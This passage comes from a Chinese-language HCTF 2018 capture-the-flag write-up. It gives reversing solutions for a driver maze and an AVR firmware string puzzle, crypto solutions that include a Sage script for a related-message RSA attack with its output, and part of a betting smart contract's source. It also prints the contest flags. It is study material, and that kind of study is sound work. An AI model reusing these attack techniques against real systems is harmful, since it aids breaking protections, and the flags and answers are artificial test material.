a+=chr(secret[i]^xor[4*i]^xor[4*i+1]^xor[4*i+2]^xor[4*i+3])
print(a)
解密后:
Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==
它的base64加密大小写是反的,手动换一下= =
aGN0ZnsxenVtaV9LMG5hdDRfTW8zfQ==
hctf{1zumi_K0nat4_Mo3
seven
又是驱动逆向
sub_140001000中kbdclass应该跟键盘有关,但不知道怎么输入的
sub_1400012F0应该是解密函数了
中间有一段代码:
if ( *v6 == 0x11 ) // up
{
if ( v5 & 0xFFFFFFF0 )
{
v5 -= 0x10;
goto LABEL_13;
}
v5 += 0xD0;
dword_1400030E4 = v5;
}
if ( v8 != 0x1F ) // down
goto LABEL_14;
if ( (v5 & 0xFFFFFFF0) == 0xD0 )
v5 -= 0xD0;
else
v5 += 0x10;
LABEL_13:
dword_1400030E4 = v5;
LABEL_14:
if ( v8 == 0x1E ) // left
{
if ( v5 & 0xF )
--v5;
else
v5 += 0xF;
dword_1400030E4 = v5;
}
if ( v8 == 0x20 ) // right
{
if ( (v5 & 0xF) == 15 )
v5 -= 15;
else
++v5;
dword_1400030E4 = v5;
}
v9 = aO[v5];
if ( v9 == '*' )
{
v10 = "-1s\n";
}
else
{
if ( v9 != '7' )
{
LABEL_29:
aO[v5] = 'o';
goto LABEL_30;
}
v10 = "The input is the flag!\n";
}
aO为字符串
****************
o..............*
**************.*
************...*
***********..***
**********..****
*********..*****
********..******
*******..*******
******..********
*****..*********
****..**********
****7***********
要把这个o走到7的位置
0x11 0x1F 0x1E 0x20是硬件扫描码 wsad,对应写出移动的顺序就行了
https://blog.csdn.net/wangyi_lin/article/details/9016125
https://bbs.pediy.com/thread-218363.htm
flag:hctf{ddddddddddddddssaasasasasasasasasas}
PolishDuck
找到了字符串 Arduino leonardo,是单片机的型号.
该题是AVR汇编, 应该是一道算法题, 转成bin之后能看到:
44646 + ( 64094 + (71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + 23142 * ( 31895 + ( 62386 * ( 12179 ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) - 70643 ) ) 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) - 43827 ) 66562 ) )
但好像不是一个完整的等式, 无法解出...emmmm
做法是瞎猜的,没想到能做出来= =
这是个hex文件,首先不知道它机器的芯片,先用ida直接打开,能看到解析后的内容,也可以用相关工具解析成bin再用ida打开。发现0180地址出有一串字符串Arduino LLC Arduino Leonardo
这是它机器的型号,查找资料知道是avr架构的ATmega32u
ida打开的时候,processer type 选Atmel AVR,打开后选ATmega32_L,可以反汇编了。
在0D40地址看到
notepad.exe 44646 + ( 64094 + (71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + 23142 * ( 31895 + ( 62386 * ( 12179 ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) - 70643 ) ) 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) - 43827 ) 66562 ) )
不是一个完整的式子,不能计算,想起他方向。
这不是一个 完整的字符串,而是很多个字符串(中间有\x00),大致猜一下可能是选取其中某些字符串拼接起来,就能计算了
从开头开始跟踪,跟踪到sub_9A8,应该是解析相关的函数了。
往下找,找到可疑的地方0A6C开始:
ROM:0A6C ldi r22, 0xF4
ROM:0A6D ldi r23, 1
ROM:0A6E ldi r24, 0
ROM:0A6F ldi r25, 0
ROM:0A70 call sub_8B6
ROM:0A72 ldi r24, 0x40 ; '@'
ROM:0A73 ldi r25, 1
ROM:0A74 call sub_88D
ROM:0A76 ldi r22, 0xF4
ROM:0A77 ldi r23, 1
ROM:0A78 ldi r24, 0
ROM:0A79 ldi r25, 0
ROM:0A7A call sub_8B6
ROM:0A7C ldi r24, 0x4C ; 'L'
ROM:0A7D ldi r25, 1
ROM:0A7E call sub_88D
ROM:0A80 ldi r22, 0xF4
ROM:0A81 ldi r23, 1
ROM:0A82 ldi r24, 0
ROM:0A83 ldi r25, 0
ROM:0A84 call sub_8B6
ROM:0A86 ldi r24, 0x53 ; 'S'
ROM:0A87 ldi r25, 1
ROM:0A88 call sub_88D
ROM:0A8A ldi r22, 0xF4
ROM:0A8B ldi r23, 1
ROM:0A8C ldi r24, 0
ROM:0A8D ldi r25, 0
ROM:0A8E call sub_8B6
ROM:0A90 ldi r24, 0x62 ; 'b'
ROM:0A91 ldi r25, 1
ROM:0A92 call sub_88D
有很多结构十分相似的部分,把不一样的地方都提取出来,是一堆地址
140 14C 153 162 177 18B 1A9 1C8 1D3 1EB 1FE 25E 207 21C 227 246 261 270 28B 298 2A3 2B1 25C 2BA 2C5 2D0 2D7 2F2 307 310 25E 327 346 3DC 34D 364 373 38F 3A6 3B3 3BF 3D0 3DF 3EF 400 44B 413 42C 43B 44F 452 490 45F 46C 47D 48E 497 49E 4B5 4CB 445 445 4D6 44D 44D 494 4E5 44F
这些地址并不指向任何东西,但如过把140对应之前字符串的开头notepad.exe,14C刚好能对应第二个字符串开头44646,以此类推,而某些地址可能指向的不是某一字符串的开头,这样猜测整合完应该能得到完整算术式
试着把他们一一对应过去
unsigned char secret[] = { 0x6E, 0x6F, 0x74, 0x65, 0x70, 0x61, 0x64, 0x2E, 0x65, 0x78,0x65, 0x00, 0x34, 0x34, 0x36, 0x34, 0x36, 0x20, 0x00, 0x2B,0x20, 0x28, 0x20, 0x36, 0x34, 0x30, 0x39, 0x34, 0x20, 0x2B,0x20, 0x28, 0x20, 0x00, 0x37, 0x31, 0x38, 0x32, 0x35, 0x20,0x2A, 0x20, 0x28, 0x20, 0x28, 0x20, 0x31, 0x35, 0x38, 0x37,0x33, 0x20, 0x2B, 0x20, 0x00, 0x28, 0x20, 0x32, 0x31, 0x37,0x39, 0x33, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x37, 0x32, 0x33,0x34, 0x20, 0x2B, 0x20, 0x00, 0x28, 0x20, 0x31, 0x37, 0x36,0x34, 0x39, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x28, 0x20, 0x32,0x31, 0x35, 0x35, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x37, 0x34,0x37, 0x36, 0x37, 0x20, 0x00, 0x2A, 0x20, 0x28, 0x20, 0x33,0x35, 0x33, 0x39, 0x32, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x38,0x38, 0x32, 0x31, 0x36, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x38,0x33, 0x39, 0x32, 0x30, 0x20, 0x00, 0x2B, 0x20, 0x28, 0x20,0x31, 0x36, 0x32, 0x37, 0x30, 0x20, 0x00, 0x2B, 0x20, 0x28,0x20, 0x32, 0x30, 0x31, 0x35, 0x31, 0x20, 0x2A, 0x20, 0x28,0x20, 0x35, 0x32, 0x36, 0x38, 0x20, 0x2B, 0x20, 0x28, 0x20,0x00, 0x39, 0x30, 0x36, 0x39, 0x33, 0x20, 0x2A, 0x20, 0x28,0x20, 0x38, 0x32, 0x37, 0x37, 0x33, 0x20, 0x2B, 0x20, 0x00,0x28, 0x20, 0x37, 0x31, 0x36, 0x20, 0x2B, 0x20, 0x00, 0x32,0x37, 0x33, 0x37, 0x37, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x34,0x34, 0x33, 0x32, 0x39, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x00,0x34, 0x39, 0x33, 0x36, 0x36, 0x20, 0x2A, 0x20, 0x28, 0x20,0x00, 0x28, 0x20, 0x28, 0x20, 0x33, 0x38, 0x37, 0x39, 0x30,0x20, 0x2B, 0x20, 0x28, 0x20, 0x37, 0x30, 0x32, 0x34, 0x37,0x20, 0x2A, 0x20, 0x28, 0x20, 0x39, 0x37, 0x32, 0x33, 0x33,0x20, 0x00, 0x2B, 0x20, 0x28, 0x20, 0x31, 0x38, 0x33, 0x34,0x37, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x32, 0x32, 0x31, 0x31,0x37, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x28, 0x20, 0x00, 0x28,0x20, 0x37, 0x32, 0x35, 0x37, 0x36, 0x20, 0x2B, 0x20, 0x28,0x20, 0x28, 0x20, 0x00, 0x34, 0x37, 0x35, 0x34, 0x31, 0x20,0x2B, 0x20, 0x28, 0x20, 0x34, 0x36, 0x39, 0x37, 0x35, 0x20,0x2B, 0x20, 0x28, 0x20, 0x35, 0x33, 0x37, 0x36, 0x39, 0x20,0x00, 0x2A, 0x20, 0x28, 0x20, 0x39, 0x34, 0x30, 0x30, 0x35,0x20, 0x2B, 0x20, 0x00, 0x28, 0x20, 0x28, 0x20, 0x37, 0x32,0x39, 0x31, 0x34, 0x20, 0x00, 0x2B, 0x20, 0x28, 0x20, 0x35,0x31, 0x33, 0x37, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x00, 0x38,0x37, 0x35, 0x34, 0x34, 0x20, 0x2A, 0x20, 0x00, 0x37, 0x31,0x35, 0x38, 0x33, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x00, 0x32,0x30, 0x33, 0x37, 0x30, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x00,0x33, 0x37, 0x39, 0x36, 0x38, 0x20, 0x00, 0x2A, 0x20, 0x28,0x20, 0x31, 0x37, 0x34, 0x37, 0x38, 0x20, 0x2B, 0x20, 0x28,0x20, 0x28, 0x20, 0x34, 0x30, 0x35, 0x33, 0x32, 0x20, 0x2B,0x20, 0x28, 0x20, 0x00, 0x31, 0x30, 0x30, 0x38, 0x39, 0x20,0x2B, 0x20, 0x28, 0x20, 0x31, 0x33, 0x33, 0x33, 0x32, 0x20,0x2A, 0x20, 0x28, 0x20, 0x00, 0x28, 0x20, 0x32, 0x34, 0x31,0x37, 0x30, 0x20, 0x00, 0x2B, 0x20, 0x28, 0x20, 0x34, 0x36,0x38, 0x34, 0x35, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x31, 0x36,0x30, 0x34, 0x38, 0x20, 0x2B, 0x20, 0x00, 0x32, 0x33, 0x31,0x34, 0x32, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x33, 0x31, 0x38,0x39, 0x35, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x36, 0x32, 0x33,0x38, 0x36, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x00, 0x31, 0x32,0x31, 0x37, 0x39, 0x20, 0x00, 0x28, 0x20, 0x39, 0x34, 0x35,0x35, 0x32, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x28, 0x20, 0x28,0x20, 0x35, 0x32, 0x39, 0x31, 0x38, 0x20, 0x00, 0x2B, 0x20,0x28, 0x20, 0x39, 0x31, 0x35, 0x38, 0x30, 0x20, 0x2B, 0x20,0x28, 0x20, 0x00, 0x28, 0x20, 0x28, 0x20, 0x33, 0x38, 0x34,0x31, 0x32, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x39, 0x31, 0x35,0x33, 0x37, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x37, 0x30, 0x20,0x00, 0x2B, 0x20, 0x28, 0x20, 0x39, 0x38, 0x35, 0x39, 0x34,0x20, 0x2A, 0x20, 0x28, 0x20, 0x28, 0x20, 0x33, 0x35, 0x32,0x37, 0x35, 0x20, 0x00, 0x2B, 0x20, 0x28, 0x20, 0x36, 0x32,0x39, 0x31, 0x32, 0x20, 0x2A, 0x20, 0x00, 0x28, 0x20, 0x34,0x37, 0x35, 0x35, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x00, 0x31,0x36, 0x37, 0x33, 0x37, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x32,0x37, 0x35, 0x39, 0x35, 0x20, 0x00, 0x2B, 0x20, 0x28, 0x20,0x28, 0x20, 0x34, 0x33, 0x35, 0x35, 0x31, 0x20, 0x2B, 0x20,0x00, 0x28, 0x20, 0x36, 0x34, 0x34, 0x38, 0x32, 0x20, 0x2A,0x20, 0x33, 0x35, 0x35, 0x30, 0x20, 0x00, 0x29, 0x20, 0x29,0x20, 0x2D, 0x20, 0x32, 0x31, 0x30, 0x33, 0x31, 0x20, 0x29,0x20, 0x29, 0x20, 0x00, 0x29, 0x20, 0x29, 0x20, 0x29, 0x20,0x29, 0x20, 0x2D, 0x20, 0x35, 0x37, 0x35, 0x35, 0x33, 0x20,0x29, 0x20, 0x00, 0x29, 0x20, 0x2D, 0x20, 0x38, 0x39, 0x38,0x38, 0x33, 0x20, 0x29, 0x20, 0x2D, 0x20, 0x33, 0x38, 0x39,0x30, 0x30, 0x20, 0x29, 0x20, 0x29, 0x20, 0x00, 0x29, 0x20,0x2D, 0x20, 0x31, 0x39, 0x35, 0x31, 0x37, 0x20, 0x29, 0x20,0x2D, 0x20, 0x00, 0x37, 0x39, 0x30, 0x38, 0x32, 0x20, 0x29,0x20, 0x29, 0x20, 0x29, 0x20, 0x29, 0x20, 0x29, 0x20, 0x29,0x20, 0x29, 0x20, 0x29, 0x20, 0x00, 0x2D, 0x20, 0x37, 0x30,0x36, 0x34, 0x33, 0x20, 0x29, 0x20, 0x29, 0x20, 0x00, 0x35,0x35, 0x33, 0x35, 0x30, 0x20, 0x29, 0x20, 0x29, 0x20, 0x29,0x20, 0x00, 0x29, 0x20, 0x29, 0x20, 0x2D, 0x20, 0x34, 0x30,0x33, 0x30, 0x31, 0x20, 0x29, 0x20, 0x29, 0x20, 0x00, 0x29,0x20, 0x29, 0x20, 0x2D, 0x20, 0x38, 0x33, 0x30, 0x36, 0x35,0x20, 0x29, 0x20, 0x29, 0x20, 0x00, 0x29, 0x20, 0x29, 0x20,0x29, 0x20, 0x2D, 0x20, 0x00, 0x35, 0x32, 0x34, 0x36, 0x30,0x20, 0x00, 0x29, 0x20, 0x29, 0x20, 0x2D, 0x20, 0x34, 0x39,0x34, 0x32, 0x38, 0x20, 0x29, 0x20, 0x2D, 0x20, 0x39, 0x34,0x36, 0x38, 0x36, 0x20, 0x00, 0x29, 0x20, 0x29, 0x20, 0x29,0x20, 0x29, 0x20, 0x29, 0x20, 0x29, 0x20, 0x2D, 0x20, 0x31,0x36, 0x35, 0x33, 0x20, 0x29, 0x20, 0x00, 0x2D, 0x20, 0x36,0x35, 0x32, 0x31, 0x37, 0x20, 0x29, 0x20, 0x00, 0x29, 0x20,0x29, 0x20, 0x2D, 0x20, 0x34, 0x33, 0x38, 0x32, 0x37, 0x20,0x29, 0x20, 0x00, 0x36, 0x36, 0x35, 0x36, 0x32, 0x20, 0x29,0x20, 0x29, 0x20, 0x00 };
unsigned char *p;
int address[] = { 0x140 ,0x14C ,0x153 ,0x162 ,0x177 ,0x18B ,0x1A9 ,0x1C8 ,0x1D3 ,0x1EB ,0x1FE ,0x25E ,0x207,0x21C,0x227,0x246,0x261,0x270,0x28B,0x298,0x2A3,0x2B1,0x25C,0x2BA,0x2C5,0x2D0,0x2D7,0x2F2,0x307,0x310,0x25E,0x327,0x346,0x3DC,0x34D,0x364,0x373,0x38F,0x3A6,0x3B3,0x3BF,0x3D0,0x3DF,0x3EF,0x400,0x44B,0x413,0x42C,0x43B,0x44F,0x452,0x490,0x45F,0x46C,0x47D,0x48E,0x497,0x49E,0x4B5,0x4CB,0x445,0x445,0x4D6,0x44D,0x44D,0x494,0x4E5,0x44F };
int i;
for (i = 0; i < 68; i++)
{
p = &secret[0] + address[i]-0x140;
cout << p;
}
得到完整的算术表达式,用python算出flag
a=44646 + ( 64094 + ( 71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + ( 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * ( ( 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + ( 23142 * ( 31895 + ( 62386 * ( 12179 + ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) ) ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) ) - 70643 ) ) ) ) - 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) - 43827 ) ) ) ) ) - 66562 ) ) )
s=hex(a)[2:-1].decode('hex')
print(s)
flag:hctf{P0l1sh_Duck_Tast3s_D3l1ci0us_D0_U_Th1nk?}
Crypto
xor game
加密方式是一个key对明文循环异或。可以通过统计词频逐步确定key的长度,key每一字节可能的字符,并最终确定key。
详见:https://findneo.github.io/171005NuptVigenereWP/
flag:hctf{xor_is_interesting!@#}
xor?rsa
gcd(e,(p-1)*(q-1)) == 1 或 5
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
e=5
g1 = x**e - c1
g2 = (x + y)**e - c2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
# need to switch to univariate polynomial ring
# because .small_roots is implemented only for univariate
h = h.univariate_polynomial() # x is hopefully eliminated
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
roots = h.small_roots(X=2**40, beta=0.3)
assert roots, "Failed1"
print roots
diff = roots[0]
if diff > 2**32:
^Idiff = -diff
^Ic1, c2 = c2, c1
print "Difference:", diff
x = PRx.gen() # otherwise write xn
g1 = x**e - c1
g2 = (x + diff)**e - c2
# gcd
while g2:
g1, g2 = g2, g1 % g2
g = g1.monic()
assert g.degree() == 1, "Failed 2"
# g = xn - msg
msg = -g[0]
# convert to str
h = int(msg)
print h
print h+diff+int(n)
print pow(h,e,n)==c2
print pow(h+diff+int(n),e,n)==c1
[555991320628]
Difference: 30290716620841793899146321994568496023252750053596786876611475641947678118979038294637697826463401155985354968691924997404322605452761001870059955726773324447235980051453346857315677224128047844328773148916021249443603911449637550383591704762386567005058018282308230728051353460058754497672179057700421161074247576457866689070241760427131473043482158810401561313321107974516682297500997022575554884396342862329278222526955343597739332964020816251046425193373642417717381045917123341522209552123269466378004786062763182259628931179308017861705958534248179294164338076634721107705015038219232572426688683766371284897691
2932093288739759017131922832119390508643918321984410853
2583475209918998219801122954379479992650705870599189051232760719646159719619265755438890096354620462669930665081971091894103757999670741311927625969755788747121762969679475351111489399600154562955287885202707223159968667071096275208629651189581238338521064833101272863069918738346837635731886529517213961300297787649206078555692261069713014027837983048971538947661147625228754443387901174007943169362738696168181450776372832045356985606263519804479231156806800627979267259445511274742157175638821617100281049528076791498180668899828383550671492688471895766846725
29320932887397590171319228321193905086439183219844108532583475209918998219801122954379479992650705870599189051232760719646159719619265755438890096354620462669930665081971091894103757999670741311927625969755788747121762969679475351111489399600154562955287885202707223159968667071096275208629651189581238338521064833101272863069918738346837635731886529517213961300297787649206078555692261069713014027837983048971538947661147625228754443387901174007943169362738696168181450776372832045356985606263519804479231156806800627979267259445511274742157175638821617100281049528076791498180668899828383550671492688471339775526097
True
True
m1>n
$ nc rsa.2018.hctf.io 10086
Welcome to flag getting system
give me your token > uvm73jg2AFMECo71DIZRZh39MRqFOI2w
n=25592302757401106056280234286012383062484235707312989164780308492200872167178574218000602787441725428426717090949654793218739897595107846312672513664085694001801608518590887961938014572669134367079646488310507850336050513025245626467377203241863607999325036917193601505657352182776079774009206570703186219337621551483393737290768330888410101854796481874297267599196619674335794044792069495519108109223425797503203570902994567568592084357934714964501535669657986930473369655871619588840794482884419083552554342422741496026024222914198234788143213719654823547100803532256499706071071498660891381652493208839656686738591
c1=11690907386363649212644384569199890345770981654517160939164832907826289543551982063610220071961849700921425395140710365953159185666787437146246103625442409812945763501692710328379204747353203817255953902210586779053720571365060460732531241991577093405485858643711950523138375131702989487907339644510108399052427817874710822165262868315224968612849619299795358325603907678116650332797927084567328392462191457872943785013598632574175405870522070537466045471567735827773482872427192699293399500104479883708854100100037846415639145150417103704144637686300025634446944846253236091651808972028854707078113064878063321580768
c2=23770070496907514366297412141037667449588865437018376514390695607679676986001301621556277980415958296151188882273930436528902856816100291709779231712294522684117809069750177322126984516684260974647430093063414228366055366719654277299019192226831695082426012957631732846185788410351093879858771697093954122318192675776953344922612983099660105822719741335067051112337020739320099859836973578421498466368851839142137257484447051174094093504567507429730727091330591571603022555924970273436929750572410470501844270943580821467782713936322388728653073754746083727342190374906283014672336536995144296014243057684586151967259
now give me you answer
19192367044417009574476120231142453777715164401167583116818642067057559425607428214230005291096592117565507572856314816467238405776265673021259189682385525688967473815563074054515033828997755186215692527330397977283770408982658352080214663787539650267242917359134595104066485839193632212316099201917721667135306930187402153500605057513457619657478967568643046456602317538660008316345868692641873925382002676220521051279760109657536301500377507578497888384179794081375588346813744918914579093924393594445064745990498754455457360554748737767889831035781211814570683813231972744037861524811042088953081214510724634343988
19192367044417009574476120231142453777715164401167583116818642067057559425607428214230005291096592117565507572856314816467238405776265673021259189682385525688967473815563074054515033828997755186215692527330397977283770408982658352080214663787539650267242917359134595104066485839193632212316099201917721667135306930187402153500605057513457619657478967568643046456602317538660008316345868692641873925382002676220521051279760109657536301500377507578497888384179794081375588346813744918914579093924393594445064745990498754455457360554748737767889831035781211814570683813231972744037861524811042088953081214511375412065022
hctf{1a105ae83a735e0b914f4715aae936b67f297aa424dc10c119ca257ae7f6e508}
当difference很大时,
[650777721034]
Difference: 25592302757401106056280234286012383062484235707312989164780308492200872167178574218000602787441725428426717090949654793218739897595107846312672513664085694001801608518590887961938014572669134367079646488310507850336050513025245626467377203241863607999325036917193601505657352182776079774009206570703186219337621551483393737290768330888410101854796481874297267599196619674335794044792069495519108109223425797503203570902994567568592084357934714964501535669657986930473369655871619588840794482884419083552554342422741496026024222914198234788143213719654823547100803532256499706071071498660891381652493208839005909017557
19192367044417009574476120231142453777715164401167583116818642067057559425607428214230005291096592117565507572856314816467238405776265673021259189682385525688967473815563074054515033828997755186215692527330397977283770408982658352080214663787539650267242917359134595104066485839193632212316099201917721667135306930187402153500605057513457619657478967568643046456602317538660008316345868692641873925382002676220521051279760109657536301500377507578497888384179794081375588346813744918914579093924393594445064745990498754455457360554748737767889831035781211814570683813231972744037861524811042088953081214511375412065022
19192367044417009574476120231142453777715164401167583116818642067057559425607428214230005291096592117565507572856314816467238405776265673021259189682385525688967473815563074054515033828997755186215692527330397977283770408982658352080214663787539650267242917359134595104066485839193632212316099201917721667135306930187402153500605057513457619657478967568643046456602317538660008316345868692641873925382002676220521051279760109657536301500377507578497888384179794081375588346813744918914579093924393594445064745990498754455457360554748737767889831035781211814570683813231972744037861524811042088953081214510724634343988
True
True
m2 = h
m1 = h+diff+int(n)
搞定
flag:hctf{1a105ae83a735e0b914f4715aae936b67f297aa424dc10c119ca257ae7f6e508}
blockchain
bet2loss
描述
0x006b9bc418e43e92cf8d380c56b8d4be41fda319 for ropsten and open source
D2GBToken is onsale. Now New game is coming.
We’ll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag.
URL http://bet2loss.2018.hctf.io
合约部署在ropsten测试网络,地址为0x006b9bc418e43e92cf8d380c56b8d4be41fda319,而且是开源的。
访问网站
Welcome to Bet2Loss Game!
only winner can get flag!
1、Bet2Loss Game is based on Ropsten. open source on xxx.
2、Every New gamer will airdrop 1000 B2GB for betting.
3、Game Rule: Set a modulo (2 - 40), guess a number (0-(modulo-1)), and set a betnumber (1 - balanceOf(you) and less than 100000). If you win, you will get betnumber*modulo B2GB.
4、Example: set 2 as modulo, guess 1, and bet 100 B2GB. if 1 == random_number%modulo, you will get 100*2, which is 200 B2GB.
5、Ahhhh, if balanceOf(you) > 10000000, you can use the function PayForFlag. Admin will post the flag to your email.
ps: you need install a eth wallet, just like metamask in chrome webstore and a little test eth for gasprice.
ps: you can get the test eth from every ether faucet.(just like https://faucet.metamask.io/)
这个页面里面可以下注,进行游戏(ps: 一看参数就知道是参考dice2win这个游戏)
每个新玩家空投1000 B2GB。目标balanceOf(you) > 10000000
,然后调用PayForFlag
。
接下来就是找漏洞点了。
直接去区块链浏览器中看智能合约源码。(顺带吐槽下,为啥区块链的题目部署到同一个测试网络中,这样不是直接可以看别的队伍的payload么)。
https://ropsten.etherscan.io/address/0x006b9bc418e43e92cf8d380c56b8d4be41fda319#code
源码如下
pragma solidity ^0.4.24;
// Wow. Welcome to hctf2018
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20{
using SafeMath for uint256;
mapping (address => uint256) public balances;
uint256 public _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return balances[owner];
}
function transfer(address _to, uint _value) public returns (bool success){
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
return true;
}
}
contract B2GBToken is ERC20 {
string public constant name = "test";
string public constant symbol = "test";
uint8 public constant decimals = 18;
uint256 public constant _airdropAmount = 1000;
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));
mapping(address => bool) initialized;
constructor() public {
initialized[msg.sender] = true;
_totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
}
contract Bet2Loss is B2GBToken{
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant MIN_BET = 1;
uint constant MAX_BET = 100000;
uint constant MAX_MODULO = 100;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint betnumber;
uint8 modulo;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping (uint => Bet) bets;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event Commit(uint commit);
event GetFlag(
string b64email,
string back
);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function placeBet(uint betMask, uint modulo, uint betnumber, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v) external payable {
// airdrop
AirdropCheck();
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
require (balances[msg.sender] >= betnumber, "no more balances");
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (betMask >= 0 && betMask < modulo, "Mask should be within range.");
require (betnumber > 0 && betnumber < 1000, "BetNumber should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.");
uint possibleWinAmount;
